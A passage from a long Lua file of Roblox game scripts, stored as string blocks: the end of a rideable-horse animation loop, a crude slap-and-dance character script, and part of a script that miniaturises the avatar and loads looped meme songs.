  6040. local FBW = Weld(Main,BallF,CFrame.new(0,-Height+BallB.Size.Y/2,-3))
  6041. FBW0 = FBW.C0
  6042.  
  6043. local BG = Instance.new("BodyGyro",Main)
  6044. BG.cframe = Main.CFrame
  6045. local bgcf = BG.cframe
  6046. BG.maxTorque = Vector3.new(1,1,1)*4e6
  6047.  
  6048. local BF = Instance.new("BodyForce",Main)
  6049. BF.force = Vector3.new(0,10000,0)
  6050.  
  6051. local BV = Instance.new("BodyVelocity",Main)
  6052. BV.maxForce = Vector3.new(1,1,1)*4e6
  6053. BV.velocity = Vector3.new()
  6054. local bvvel = Vector3.new()
  6055.  
  6056. local Legs = {
  6057.    FR1,FR2,FR3,
  6058.    FL1,FL2,FL3,
  6059.    BR1,BR2,BR3,
  6060.    BL1,BL2,BL3,
  6061. }
  6062. local Legs0 = {}
  6063. for i,v in pairs(Legs) do
  6064.    Legs0[i] = v.C0
  6065. end
  6066.  
  6067. function RayCast(Ray,Ignore)
  6068.    local hit,p = workspace:FindPartOnRayWithIgnoreList(Ray,Ignore)
  6069.    if not hit or hit.CanCollide then
  6070.        return hit,p
  6071.    elseif hit then
  6072.        table.insert(Ignore,hit)
  6073.        return RayCast(Ray,Ignore)
  6074.    end
  6075. end
  6076.  
  6077.  
  6078. --Model:MoveTo(startpos.p)
  6079.  
  6080. local climbangle = 0
  6081. local blinktimer = 0
  6082.  
  6083. --while game:GetService("RunService").Stepped:wait() do
  6084. local connection
  6085. connection = game:GetService("RunService").Stepped:connect(oc(function()
  6086.    if not Model:IsDescendantOf(workspace) then
  6087.        pcall(game.Destroy,Model)
  6088.        pcall(game.Destroy,script)
  6089.        connection:disconnect()
  6090.    end
  6091.    local th = Seat.Throttle
  6092.    local st = Seat.Steer
  6093.    local TailSin = math.sin(tick()*(th==1 and .5+Speed/MaxSpeed*6 or 2))
  6094.    local BreathSin = math.sin(tick()*(th==1 and (Speed<=WalkSpeed and WalkSin/2 or Speed<=TrotSpeed and TrotSin/2 or GallopSin/2) or 2))
  6095.    TailWeld.C0 = clerp(TailWeld.C0,TailWeld0 * CFrame.Angles(math.rad(th == 1 and 20+math.min(1,Speed/MaxSpeed)*(-50+TailSin*10) or th==-1 and 25 or 20),0,TailSin*.3),.15)
  6096.  
  6097.    local d,un = 10;
  6098.    if th == 0 and st == 0 then
  6099.        for i,v in pairs(game:GetService("Players"):GetPlayers()) do
  6100.            pcall(function()
  6101.                local dis = v:DistanceFromCharacter(Head.Position)
  6102.                if dis < d then
  6103.                    local u = Main.CFrame:vectorToObjectSpace((v.Character.Head.Position-Head.Position).unit)
  6104.                    if u.Z < 0 then
  6105.                        d,un = dis,u
  6106.                    end
  6107.                end
  6108.            end)
  6109.        end
  6110.    end
  6111.  
  6112.    if math.random(1,150) == 1 then
  6113.        blinktimer = 4
  6114.    end
  6115.    if blinktimer > 0 then
  6116.         EyeR.BrickColor = HorseColor
  6117.         EyeL.BrickColor = HorseColor
  6118.         blinktimer = blinktimer - 1
  6119.     else
  6120.         EyeR.BrickColor = EyeColor
  6121.         EyeL.BrickColor = EyeColor
  6122.     end
  6123.     NeckWeld.C0 = clerp(NeckWeld.C0,CFrame.Angles(0,-st*.1-(un and math.sin(un.X)/2 or 0),-st*.1) *NeckWeld0 * CFrame.Angles(math.rad(BreathSin*2+(th==1 and -math.min(1,math.max(0,Speed-10)/(MaxSpeed-10))*45 or th == -1 and 10 or 0))+(un and math.sin(un.Y)/2 or 0),0,0),.15)
  6124.     HeadWeld.C0 = clerp(HeadWeld.C0,CFrame.Angles(0,-st*.3-(un and math.sin(un.X)/2 or 0),-st*.1) *HeadWeld0 * CFrame.Angles(math.rad(BreathSin*-4+(th==1 and 10 or th == -1 and -30 or 0))+(un and math.sin(un.Y)/2 or 0),0,0),.15)
  6125.     MainMesh.Scale = Vector3.new(1,1+(BreathSin*.025),1)
  6126.     SeatWeld.C0 = SeatWeld0 + Vector3.new(0,BreathSin*.05,0)
  6127.     bgcf = bgcf * CFrame.Angles(0,-st*.05,0)
  6128.     BG.cframe = clerp(bgcf,bgcf * CFrame.Angles(0,0,th==1 and -st*(.1+Speed/MaxSpeed*.1) or 0),.1)*CFrame.Angles(climbangle,0,-st*.25*(Speed/MaxSpeed))
  6129.     Speed = math.max(th==-1 and -WalkSpeed or th==1 and math.min(SpeedLimit,10) or 0,math.min(SpeedLimit,Speed+(th==1 and .25 or -3)))
  6130.     updown = th==1 and Speed > TrotSpeed and math.abs(math.sin((tick()-.1)*3)) or math.max(0,(updown or 0)-.1)
  6131.  
  6132.     local front = Main.CFrame*CFrame.new(0,0,-3)
  6133.     local back = Main.CFrame*CFrame.new(0,0,3)
  6134.  
  6135.  
  6136.     local fHit,fP = RayCast(Ray.new(front.p,front:vectorToWorldSpace(Vector3.new(0,-Height*6,0))),{Model})
  6137.  
  6138.     local fDiff = (front.p-fP).magnitude
  6139.     if fDiff > Height*2 then
  6140.         fHit = nil
  6141.     end
  6142.     local fY = math.max(fP.Y,front.Y-Height)
  6143.  
  6144.     local bHit,bP = RayCast(Ray.new(back.p,back:vectorToWorldSpace(Vector3.new(0,-Height*6,0))),{Model})
  6145.     local bDiff = (back.p-bP).magnitude
  6146.     if bDiff > Height*2 then
  6147.         bHit = nil
  6148.     end
  6149.     local bY = math.max(bP.Y,back.Y-Height)
  6150.  
  6151.     local diffY = (fY+bY)/2-(Main.Position.Y-Height)
  6152.    
  6153.     climbangle = fHit and bHit and math.asin((fP-bP).unit.Y) or climbangle*.5
  6154.  
  6155.     bvvel = Main.CFrame.lookVector.unit * Speed
  6156.     BV.velocity = (fP-bP).unit*Speed + Vector3.new(0,-(math.min(fDiff-Height,bDiff-Height)+updown*.8)*3,0)
  6157.     BV.maxForce = Vector3.new(1,1,1)*4e6
  6158.     BBW.C0 = BBW0 + Vector3.new(0,updown*.8,-1.4)
  6159.     FBW.C0 = FBW0 + Vector3.new(0,updown*.8,1.4)
  6160.  
  6161.     for i=1,#Legs,3 do
  6162.         local ang = 0;
  6163.         local ang2 = 0;
  6164.         local ang3 = 0;
  6165.         local time = tick()
  6166.         if i < #Legs/2 then -- front
  6167.            if i%6 == 1 then -- Right
  6168.                if th == 1 then
  6169.                    if Speed <= WalkSpeed then -- walky
  6170.                        ang = math.sin(time*WalkSin)*.15 + .05
  6171.                        ang2 = -math.abs(math.cos(time*WalkSin/2))*.4
  6172.                    elseif Speed <= TrotSpeed then
  6173.                        ang = math.sin(time*TrotSin)*.5 + .4
  6174.                        ang2 = -math.abs(math.cos(time*TrotSin/2))*1.7
  6175.                    else
  6176.                        ang = math.sin(time*6)*.8 + .35
  6177.                        ang2 = -math.abs(math.cos(time*3))*1.8
  6178.                    end
  6179.                elseif th == -1 then
  6180.                    ang = math.sin(time*6)*.3 +.25
  6181.                    time = time -.1
  6182.                    ang2 = -math.abs(math.sin(time*3))*1.3 +.2
  6183.                else
  6184.                    ang = math.sin(tick()*2)*.5 + .5
  6185.                    ang2 = -math.abs(math.cos(tick()*1) )*1.5
  6186.                    ang3 = ang2
  6187.                end
  6188.            else -- left
  6189.                if th == 1 then
  6190.                    if Speed <= WalkSpeed then -- walky
  6191.                        time = time + math.pi/WalkSin
  6192.                        ang = math.sin(time*WalkSin)*.15 + .05
  6193.                        ang2 = -math.abs(math.cos(time*WalkSin/2))*.4
  6194.                    elseif Speed <= TrotSpeed then
  6195.                        time = time + math.pi/TrotSin
  6196.                        ang = math.sin(time*TrotSin)*.5 + .4
  6197.                        ang2 = -math.abs(math.cos(time*TrotSin/2))*1.7
  6198.                    else
  6199.                        time = time + .15
  6200.                        ang = math.sin(time*6)*.8 + .35
  6201.                        ang2 = -math.abs(math.cos(time*3))*1.8
  6202.                    end
  6203.                elseif th == -1 then
  6204.                    time = time + math.pi/2
  6205.                    ang = math.sin(time*6)*.3 +.25
  6206.                    time = time -.1
  6207.                    ang2 = -math.abs(math.sin(time*3))*1.3 +.2
  6208.                else
  6209.                end
  6210.            end
  6211.        else -- back
  6212.            if i%6 == 1 then -- Right
  6213.                if th == 1 then
  6214.                    if Speed <= WalkSpeed then -- walky
  6215.                        ang = math.sin(time*WalkSin)*.1 - .6
  6216.                        ang2 = math.abs(math.cos(time*WalkSin/2))*.5 + .4
  6217.                    elseif Speed <= TrotSpeed then
  6218.                        ang = math.sin(time*TrotSin)*.5 - .8
  6219.                        ang2 = math.abs(math.cos(time*TrotSin/2))*1.4 - .1
  6220.                        ang3 = ang2-1
  6221.                    else
  6222.                        time = time + math.pi/2
  6223.                        ang = math.sin(time*6)*.5 - .8
  6224.                        ang2 = math.abs(math.cos(time*3))*1.4 - .1
  6225.                        ang3 = ang2-1
  6226.                    end
  6227.                elseif th == -1 then
  6228.                    ang = math.sin(time*6)*.2 - .6
  6229.                    time = time -.5
  6230.                    ang2 = math.abs(math.cos(time*3))*1.4 - .1
  6231.                    ang3 = math.sin(time*6)*.2
  6232.                else
  6233.                    ang = -.5
  6234.                    ang2 = .65
  6235.                    ang3 = -.15
  6236.                end
  6237.            else -- left
  6238.                if th == 1 then
  6239.                    if Speed <= WalkSpeed then -- walky
  6240.                        time = time + math.pi/WalkSin
  6241.                        ang = math.sin(time*WalkSin)*.1 - .7
  6242.                        ang2 = math.abs(math.cos(time*WalkSin/2))*.5 + .4
  6243.                    elseif Speed <= TrotSpeed then
  6244.                        time = time - math.pi/TrotSin
  6245.                        ang = math.sin(time*TrotSin)*.5 - .8
  6246.                        ang2 = math.abs(math.cos(time*TrotSin/2))*1.4 - .1
  6247.                        ang3 = ang2-1
  6248.                    else
  6249.                        time = time + math.pi/2 - .15
  6250.                        ang = math.sin(time*6)*.5 - .8
  6251.                        ang2 = math.abs(math.cos(time*3))*1.4 - .1
  6252.                        ang3 = ang2-1
  6253.                    end
  6254.                elseif th == -1 then
  6255.                    time = time + math.pi/2
  6256.                    ang = math.sin(time*6)*.2 - .6
  6257.                    time = time -.5
  6258.                    ang2 = math.abs(math.cos(time*3))*1.4 - .1
  6259.                    ang3 = math.sin(time*6)*.2
  6260.                else
  6261.                    ang = -.55
  6262.                    ang2 = .65
  6263.                    ang3 = -.1
  6264.                end
  6265.            end
  6266.        end
  6267.        Legs[i].C0 = clerp(Legs[i].C0,Legs0[i] * CFrame.Angles(ang,0,0), .2)
  6268.        Legs[i+1].C0 =clerp(Legs[i+1].C0, Legs0[i+1] * CFrame.Angles(ang2,0,0), .2)
  6269.        Legs[i+2].C0 = clerp(Legs[i+2].C0, Legs0[i+2] * CFrame.Angles(ang3,0,0), .2)
  6270.    end
  6271.    
  6272.    -- Reins
  6273.    if ReinLineM and ReinLineM.Part1 and ReinLineM.Part1.Transparency < 1 then
  6274.        local rHold = ReinsHold or CFrame.new(0,3.5,-2)
  6275.        ReinSphereL.C0 = rHold*CFrame.new(-1.8,0,0) + Vector3.new(0,BreathSin*.05,0)
  6276.        ReinSphereR.C0 = rHold*CFrame.new(1.8,0,0) + Vector3.new(0,BreathSin*.05,0)
  6277.        local lp1 = Main.CFrame:pointToObjectSpace(ReinAnchorL.Position) + Vector3.new(-0.05,0,0)
  6278.        local lp2 = ReinSphereL.C0.p
  6279.        ReinLineL.C0 = CFrame.new(lp1:Lerp(lp2,.5),lp2)*CFrame.Angles(0,math.pi/2,0)
  6280.        ReinLineL.Part1.Mesh.Scale = Vector3.new((lp2-lp1).magnitude/ReinLineL.Part1.Size.X,1,1)
  6281.        local rp1 = Main.CFrame:pointToObjectSpace(ReinAnchorR.Position) + Vector3.new(0.05,0,0)
  6282.        local rp2 = ReinSphereR.C0.p
  6283.        ReinLineR.C0 = CFrame.new(rp1:Lerp(rp2,.5),rp2)*CFrame.Angles(0,math.pi/2,0)
  6284.        ReinLineR.Part1.Mesh.Scale = Vector3.new((rp2-rp1).magnitude/ReinLineR.Part1.Size.X,1,1)
  6285.        ReinLineM.C0 = CFrame.new(lp2:Lerp(rp2,.5),rp2)*CFrame.Angles(0,math.pi/2,0)
  6286.        ReinLineM.Part1.Mesh.Scale = Vector3.new((rp2-lp2).magnitude/ReinLineM.Part1.Size.X,1,1)
  6287.    end
  6288.    for i,v in pairs(BackHairs) do
  6289.        v.w.C0 = v.c0 * CFrame.Angles(math.sin(BreathSin+i)*.05,math.sin(BreathSin+i^2)*.05,math.sin(BreathSin+i^3)*.05) + Vector3.new(0,BreathSin*.05,0)
  6290.    end
  6291.    --[[
  6292.    for i,v in pairs(TailHairs) do
  6293.        v.w.C0 = v.c0 * CFrame.Angles(math.sin(TailSin+i)*.05,math.sin(TailSin+i^2)*.05,math.sin(TailSin+i^3)*.05)
  6294.    end
  6295.    for i,v in pairs(NeckHairs) do
  6296.        v.w.C0 = v.c0 * CFrame.Angles(math.sin(BreathSin+i)*.05,math.sin(BreathSin+i^2)*.05,math.sin(BreathSin+i^3)*.05)
  6297.    end
  6298.    for i,v in pairs(HeadHairs) do
  6299.        v.w.C0 = v.c0 * CFrame.Angles(math.sin(BreathSin+i)*.08,math.sin(BreathSin+i^2)*.08,math.sin(BreathSin+i^3)*.08)
  6300.    end]]
  6301. end))
  6302. ]==]
  6303.  
  6304. B0ob = [==[
  6305. local player=game.Players.LocalPlayer
  6306. local char=player.Character
  6307. local mouse=player:GetMouse()
  6308. local attacking = false
  6309. local debounce = false
  6310. Smp = "SmoothPlastic"
  6311. Sm = "Smooth"
  6312.  
  6313. local s1=Instance.new("Sound")
  6314. s1.SoundId="http://www.roblox.com/asset/?id=157299184"
  6315. s1.PlayOnRemove=false
  6316. s1.Volume=200
  6317. s1.Looped=false
  6318. s1.Pitch = 1
  6319. s1.Parent=char["Right Arm"]
  6320.  
  6321. local s2=Instance.new("Sound")
  6322. s2.SoundId="http://www.roblox.com/asset/?id=155363126"
  6323. s2.PlayOnRemove=false
  6324. s2.Volume=200
  6325. s2.Looped=false
  6326. s2.Pitch = 1
  6327. s2.Parent=char.Torso
  6328.  
  6329. local s3=Instance.new("Sound")
  6330. s3.SoundId="http://www.roblox.com/asset/?id=147876501"
  6331. s3.PlayOnRemove=false
  6332. s3.Volume=200
  6333. s3.Looped=true
  6334. s3.Pitch = 1
  6335. s3.Parent=char.Head
  6336.  
  6337. for _,v in pairs(char:GetChildren()) do if v.ClassName=="Hat" then v:remove() end end
  6338.  
  6339. if char:findFirstChild("Shirt") then
  6340.     char.Shirt:Remove()
  6341. end
  6342.  
  6343. if char:findFirstChild("Pants") then
  6344.     char.Pants:Remove()
  6345. end
  6346.  
  6347.  
  6348. local slap = Instance.new("Animation", char)
  6349. slap.AnimationId = "rbxassetid://160958710"
  6350. slap.Name = "slap"
  6351.  
  6352. local dance = Instance.new("Animation", char)
  6353. dance.AnimationId = "rbxassetid://168156427"
  6354. dance.Name = "dance"
  6355.  
  6356.  
  6357.  
  6358. game:service'InsertService':LoadAsset(13745548):children()[1].Parent = char
  6359. char.Head.face.Texture = "http://www.roblox.com/asset/?id=114820106"
  6360.  
  6361. local circle = Instance.new("Part",char)
  6362. circle.Size = Vector3.new(1.4,1.4,1.4)
  6363. circle.Locked = true
  6364. circle.Material = Smp
  6365. circle.TopSurface = Sm
  6366. circle.BottomSurface = Sm
  6367. circle.Name = "circle"
  6368. circle.Shape = 0
  6369. circle.formFactor = "Custom"
  6370. circle.BrickColor = char.Torso.BrickColor
  6371. circle:BreakJoints()
  6372. local circleweld = Instance.new("Weld",circle)
  6373. circleweld.Name = "circleweld"
  6374. circleweld.Part0 = circle
  6375. circleweld.Part1 = char.torso
  6376. circleweld.C0 = CFrame.new(-.45,-.40,.80)
  6377.  
  6378. One = Instance.new("Decal",circle)
  6379. One.Texture = "http://www.roblox.com/asset/?id=74033309"
  6380. One.Face ="Front"
  6381.  
  6382. local circle2 = Instance.new("Part",char)
  6383. circle2.Size = Vector3.new(1.4,1.4,1.4)
  6384. circle2.Locked = true
  6385. circle2.Material = Smp
  6386. circle2.TopSurface = Sm
  6387. circle2.BottomSurface = Sm
  6388. circle2.Name = "circle2"
  6389. circle2.Shape = 0
  6390. circle2.formFactor = "Custom"
  6391. circle2.BrickColor = char.Torso.BrickColor
  6392. circle2:BreakJoints()
  6393. local circle2weld = Instance.new("Weld",circle2)
  6394. circle2weld.Name = "circle2weld"
  6395. circle2weld.Part0 = circle2
  6396. circle2weld.Part1 = char.torso
  6397. circle2weld.C0 = CFrame.new(.45,-.40,.80)
  6398. Two = Instance.new("Decal",circle2)
  6399. Two.Texture = "http://www.roblox.com/asset/?id=74033309"
  6400. Two.Face ="Front"
  6401.  
  6402. char["Right Arm"].Touched:connect(function(hit)
  6403. if debounce == false then
  6404.    debounce = true
  6405.    isPlayer = hit.Parent:FindFirstChild("Humanoid")
  6406.    if isPlayer and attacking == true then
  6407.        isPlayer:TakeDamage(13)
  6408. s2.Parent = isPlayer.Parent.Head
  6409. s2:Play()
  6410. wait(0.5)
  6411. end
  6412. debounce = false
  6413. end
  6414. end)
  6415.  
  6416. mouse.KeyDown:connect(function(key) local key=key:lower()
  6417.     if key=="f" then
  6418. s1:Play()
  6419.         local vCharacter = char
  6420.     local hum = vCharacter:findFirstChild("Humanoid")
  6421.     blah = hum:LoadAnimation(char.slap)
  6422.     blah:Play()
  6423.     end
  6424. end)
  6425.  
  6426. mouse.KeyDown:connect(function(key) local key=key:lower()
  6427.     if key=="f" then
  6428.         attacking = true
  6429.         wait(0.5)
  6430.         attacking = false
  6431.     end
  6432. end)
  6433. mouse.KeyDown:connect(function(key) local key=key:lower()
  6434.     if key=="g" then
  6435.         local vCharacter = char
  6436.     local hum = vCharacter:findFirstChild("Humanoid")
  6437.     blah2 = hum:LoadAnimation(char.dance)
  6438.     blah2:Play()
  6439.     s3:Play()
  6440.     end
  6441. end)
  6442. mouse.KeyUp:connect(function(key) local key=key:lower()
  6443.     if key=="g" then
  6444.         blah2:Stop()
  6445.     s3:Pause()
  6446.     end
  6447.     end)
  6448. ]==]
  6449.  
  6450. Mini = [==[
  6451. local ran,err = ypcall(function()
  6452. plr = game:service'Players'.LocalPlayer
  6453. char = plr.Character
  6454. mouse = plr:GetMouse()
  6455. humanoid = char:findFirstChild("Humanoid")
  6456. torso = char:findFirstChild("Torso")
  6457. head = char.Head
  6458. ra = char:findFirstChild("Right Arm")
  6459. la = char:findFirstChild("Left Arm")
  6460. rl = char:findFirstChild("Right Leg")
  6461. ll = char:findFirstChild("Left Leg")
  6462. rs = torso:findFirstChild("Right Shoulder")
  6463. ls = torso:findFirstChild("Left Shoulder")
  6464. rh = torso:findFirstChild("Right Hip")
  6465. lh = torso:findFirstChild("Left Hip")
  6466. neck = torso:findFirstChild("Neck")
  6467. rj = char:findFirstChild("HumanoidRootPart"):findFirstChild("RootJoint")
  6468. anim = char:findFirstChild("Animate")
  6469. rootpart = char:findFirstChild("HumanoidRootPart")
  6470. camera = workspace.CurrentCamera
  6471. if anim then
  6472. anim:Destroy()
  6473. end
  6474.  
  6475.  
  6476. rj.C0 = CFrame.new()
  6477. rj.C1 = CFrame.new()
  6478.  
  6479.  
  6480. super_annoying = Instance.new("Sound", head)
  6481. super_annoying.SoundId = "http://www.roblox.com/asset/?id=148896355"
  6482. super_annoying.Volume = 0.6
  6483. super_annoying.Looped = true
  6484. barrel_roll = Instance.new("Sound", head)
  6485. barrel_roll.SoundId = "http://www.roblox.com/asset/?id=167781905"
  6486. barrel_roll.Volume = 1
  6487. barrel_roll.Looped = true
  6488. dubstep_gun = Instance.new("Sound", head)
  6489. dubstep_gun.SoundId = "http://www.roblox.com/asset/?id=161103614"
  6490. dubstep_gun.Volume = 0.6
  6491. dubstep_gun.Looped = true
  6492. you_are_pirate = Instance.new("Sound", head)
  6493. you_are_pirate.SoundId = "http://www.roblox.com/asset/?id=143750088"
  6494. you_are_pirate.Volume = 0.6
  6495. you_are_pirate.Looped = true
  6496. cant_touch = Instance.new("Sound", head)
  6497. cant_touch.SoundId = "http://www.roblox.com/asset/?id=131280929"
  6498. cant_touch.Volume = 1
  6499. cant_touch.Looped = true
  6500. gangy_style = Instance.new("Sound", head)
  6501. gangy_style.SoundId = "http://www.roblox.com/asset/?id=140645302"
  6502. gangy_style.Volume = 0.6
  6503. gangy_style.Looped = true
  6504. fox_say = Instance.new("Sound", head)
  6505. fox_say.SoundId = "http://www.roblox.com/asset/?id=130797915"
  6506. fox_say.Volume = 0.5
  6507. fox_say.Looped = true
  6508. durk = Instance.new("Sound", head)
  6509. durk.SoundId = "http://www.roblox.com/asset/?id=150740745"
  6510. durk.Volume = 0.8
  6511. durk.Looped = true
  6512. sax_guy = Instance.new("Sound", head)
  6513. sax_guy.SoundId = "http://www.roblox.com/asset/?id=130794684"
  6514. sax_guy.Volume = 0.6
  6515. sax_guy.Looped = true
  6516. heman = Instance.new("Sound", head)
  6517. heman.SoundId = "http://www.roblox.com/asset/?id=131102548"
  6518. heman.Volume = 1
  6519. heman.Looped = true
  6520. justin = Instance.new("Sound", head)
  6521. justin.SoundId = "http://www.roblox.com/asset/?id=143736517"
  6522. justin.Volume = 0.8
  6523. justin.Looped = true
  6524. brony_music = Instance.new("Sound", head)
  6525. brony_music.SoundId = "http://www.roblox.com/asset/?id=134754481"
  6526. brony_music.Volume = 1
  6527. brony_music.Looped = true
  6528. spitfire = Instance.new("Sound", head)
  6529. spitfire.SoundId = "http://www.roblox.com/asset/?id=129490596"
  6530. spitfire.Volume = 0.8
  6531. spitfire.Looped = true
  6532. burn_dem = Instance.new("Sound", head)
  6533. burn_dem.SoundId = "http://www.roblox.com/asset/?id=132399469"
  6534. burn_dem.Volume = 1
  6535. burn_dem.Looped = true
  6536.  
  6537.  
  6538. if char:findFirstChild("Shirt") then
  6539.    char:findFirstChild("Shirt"):Destroy()
  6540. end
  6541. if char:findFirstChild("Pants") then
  6542.    char:findFirstChild("Pants"):Destroy()
  6543. end
  6544. if char:findFirstChild("Shirt Graphic") then
  6545.    char:findFirstChild("Shirt Graphic"):Destroy()
  6546. end
  6547.  
  6548. Instance.new("HumanoidController", game:service'ControllerService')
  6549. Instance.new("SkateboardController", game:service'ControllerService')
  6550. Instance.new("VehicleController", game:service'ControllerService')
  6551.  
  6552. rh.Parent = nil
  6553. lh.Parent = nil
  6554. rs.Parent = nil
  6555. ls.Parent = nil
  6556. neck.Parent = nil
  6557. rj.Parent = nil
  6558.  
  6559.  
  6560. rl.FormFactor = "Custom"
  6561. ll.FormFactor = "Custom"
  6562. ra.FormFactor = "Custom"
  6563. la.FormFactor = "Custom"
  6564. torso.FormFactor = "Custom"
  6565. head.FormFactor = "Custom"
  6566. rootpart.FormFactor = "Custom"
  6567.  
  6568. rootpart.Size = Vector3.new(.4, .4, .2)
  6569. rl.Size = Vector3.new(.2, .4, .2)
  6570. ll.Size = Vector3.new(.2, .4, .2)
  6571. ra.Size = Vector3.new(.2, .4, .2)
  6572. la.Size = Vector3.new(.2, .4, .2)
  6573. torso.Size = Vector3.new(.4, .4, .2)
  6574. head.Size = Vector3.new(.4, .2, .2)
  6575.  
  6576. rh.Parent = torso
  6577. lh.Parent = torso
  6578. rs.Parent = torso
  6579. ls.Parent = torso
  6580. neck.Parent = torso
  6581. rj.Parent = rootpart
  6582.  
  6583. if torso:findFirstChild("roblox") then
  6584.    local p = Instance.new("Part", char)
  6585.    p.FormFactor = "Custom"
  6586.    p.Size = torso.Size
  6587.    p.Transparency = 1
  6588.    p:BreakJoints()
  6589.    local w = Instance.new("Weld", char)
  6590.    w.Part0 = p
  6591.    w.Part1 = torso
  6592.    torso:findFirstChild("roblox").Parent = p
  6593. end
  6594.  
  6595. mesh1 = Instance.new("SpecialMesh", torso)
  6596. mesh1.Name = "Mesh"
  6597. mesh1.Scale = torso.Size - Vector3.new(torso.Size.x/2, torso.Size.y/2, 0)
  6598. mesh1.MeshId = "rbxasset://fonts/torso.mesh"
  6599. mesh2 = Instance.new("SpecialMesh", la)
  6600. mesh2.Name = "Mesh"
  6601. mesh2.Scale = la.Size - Vector3.new(0, la.Size.y/2, 0)
  6602. mesh2.MeshId = "rbxasset://fonts/leftarm.mesh"
  6603. mesh3 = Instance.new("SpecialMesh", ra)
  6604. mesh3.Name = "Mesh"
  6605. mesh3.Scale = ra.Size - Vector3.new(0, ra.Size.y/2, 0)
  6606. mesh3.MeshId = "rbxasset://fonts/rightarm.mesh"
  6607. mesh4 = Instance.new("SpecialMesh", ll)
  6608. mesh4.Name = "Mesh"
  6609. mesh4.Scale = ll.Size - Vector3.new(0, ll.Size.y/2, 0)
  6610. mesh4.MeshId = "rbxasset://fonts/leftleg.mesh"
  6611. mesh5 = Instance.new("SpecialMesh", rl)
  6612. mesh5.Name = "Mesh"
  6613. mesh5.Scale = rl.Size - Vector3.new(0, rl.Size.y/2, 0)
  6614. mesh5.MeshId = "rbxasset://fonts/rightleg.mesh"
  6615.  
  6616. ls.C0 = CFrame.new(-.3,.1,0)
  6617. ls.C1 = CFrame.new(0,.1,0)
  6618. rs.C0 = CFrame.new(.3,.1,0)
  6619. rs.C1 = CFrame.new(0,.1,0)
  6620. rh.C0 = CFrame.new(.1,-.2,0)
  6621. rh.C1 = CFrame.new(0, .2, 0)
  6622. lh.C0 = CFrame.new(-.1,-.2,0)
  6623. lh.C1 = CFrame.new(0, .2, 0)
  6624. neck.C0 = CFrame.new(0,.2,0)
  6625. neck.C1 = CFrame.new(0,-.1,0)
  6626.  
  6627. bodyc = char:findFirstChild("Body Colors")
  6628. if bodyc then
  6629.    bodyc:Destroy()
  6630. end
  6631. wait(0.1)
  6632.  
  6633. skincolor = {"Reddish brown", "Brick yellow", "Pastel brown", "Nougat", "Brown", "Cool yellow", "Dark orange", "Neon orange"}
  6634. clothcolor = {"Bright green", "Bright red", "Bright blue", "Light stone grey", "New Yeller", "Really black", "Lavender", "Medium green", "White", "Bright Yellow"}
  6635.  
  6636.  
  6637. skincolorrandom = BrickColor.new(skincolor[math.random(1, #skincolor)])
  6638. clothcolorrandom = BrickColor.new(clothcolor[math.random(1, #clothcolor)])
  6639. function restorecolors()
  6640. for _,bp in pairs(char:children()) do
  6641.    if bp:IsA("BasePart") then
  6642.        bp.BrickColor = skincolorrandom
  6643.    end
  6644. end
  6645.  
  6646. torso.BrickColor = clothcolorrandom
  6647. ll.BrickColor = clothcolorrandom
  6648. rl.BrickColor = clothcolorrandom
  6649. end
  6650. restorecolors()
  6651.  
  6652. local LightForTorso = Instance.new("PointLight", head)
  6653. LightForTorso.Color = torso.BrickColor.Color
  6654. LightForTorso.Range = 7
  6655. LightForTorso.Brightness = 1.5
  6656.  
  6657.  
  6658.  
  6659.  
  6660. local slidecount = 0
  6661. local slidecountmax = 0
  6662. local anim = ""
  6663. local lastanim = anim
  6664. local speed = 0
  6665. local looking = false
  6666. local dancing = false
  6667. local superannoying = false
  6668. local barrelroll = false
  6669. local dubstepgun = false
  6670. local foxie = false
  6671. local durka = false
  6672. local saxguy = false
  6673. local heya = false
  6674. local jb = false
  6675. local bronymusic = false
  6676. local sheddy = false
  6677. local burndem = false
  6678. local global_wait = 0
  6679.  
  6680. count = 0
  6681. countspeed = 1
  6682. sine = 0
  6683. sinespeed = 1
  6684.  
  6685.  
  6686.  
  6687. humanoid.WalkSpeed = 11
  6688.  
  6689.  
  6690. local controllerService = game:GetService("ControllerService")
  6691. local controller = controllerService:GetChildren()[1]
  6692.  
  6693.  
  6694. local colors = {"White", "Really black"}
  6695.  
  6696. humanoid.Died:connect(function()
  6697.    for cframe_parts = 0, 100 do
  6698.        local p = Instance.new("Part")
  6699.        p.FormFactor = "Custom"
  6700.        p.BrickColor = BrickColor.new(colors[math.random(1, #colors)])
  6701.        p.Size = Vector3.new(1, 1, 1)
  6702.        Instance.new("BlockMesh", p).Scale = Vector3.new(0.05, 0.05, 0.05)
  6703.        p.Locked = true
  6704.        p.CanCollide = false
  6705.        p.Anchored = true
  6706.        p.CFrame = torso.CFrame * CFrame.Angles(math.random(-36, 36),math.random(-36, 36),math.random(-36, 36))
  6707.        p.Parent = workspace
  6708.    game:service'Debris':AddItem(p, 5)
  6709.    coroutine.wrap(function()
  6710.    while wait() do
  6711.        if p ~= nil then
  6712.            p.CFrame = p.CFrame * CFrame.new(0, 0.085, 0)
  6713.            p.Mesh.Scale = p.Mesh.Scale - Vector3.new(0.005, 0, 0.005) + Vector3.new(0, 0.01, 0)
  6714.            p.Transparency = p.Transparency + 0.015
  6715.        else
  6716.            break
  6717.        end
  6718.    end
  6719. end)()
  6720. end
  6721. for _,v in pairs(char:children()) do
  6722.    if v:IsA("Part") then
  6723.        v:Destroy()
  6724.    end
  6725. end
  6726.  
  6727. end)
  6728.  
  6729.  
  6730. mouse.KeyDown:connect(function(k)
  6731.  
  6732.    if string.byte(k) == 50 then
  6733.      
  6734.        if dancing then return end
  6735.        sitting = not sitting
  6736.        if sitting then
  6737.                local ray = Ray.new(torso.Position, Vector3.new(0, -1, 0))
  6738.        local hitz,enz = workspace:FindPartOnRay(ray, char)
  6739.  
  6740.      
  6741.             if hitz then
  6742.        controller.Parent = nil
  6743.        humanoid.WalkSpeed = 0
  6744.            coroutine.wrap(function()
  6745.                while wait() do
  6746.                    humanoid.PlatformStand = true
  6747.                    if sitting == false then humanoid.PlatformStand = false break end
  6748.                end
  6749.            end)()
  6750.        rj.C0 = CFrame.new(0, -0.35, 0) * CFrame.Angles(math.rad(10), 0, 0)
  6751.        lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.pi/2-math.rad(10), 0, -math.pi/16)
  6752.        rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(math.pi/2-math.rad(10), 0, math.pi/16)
  6753.        ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(-math.rad(10), 0, -math.pi/10)
  6754.        rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-math.rad(10), 0, math.pi/10)
  6755.      
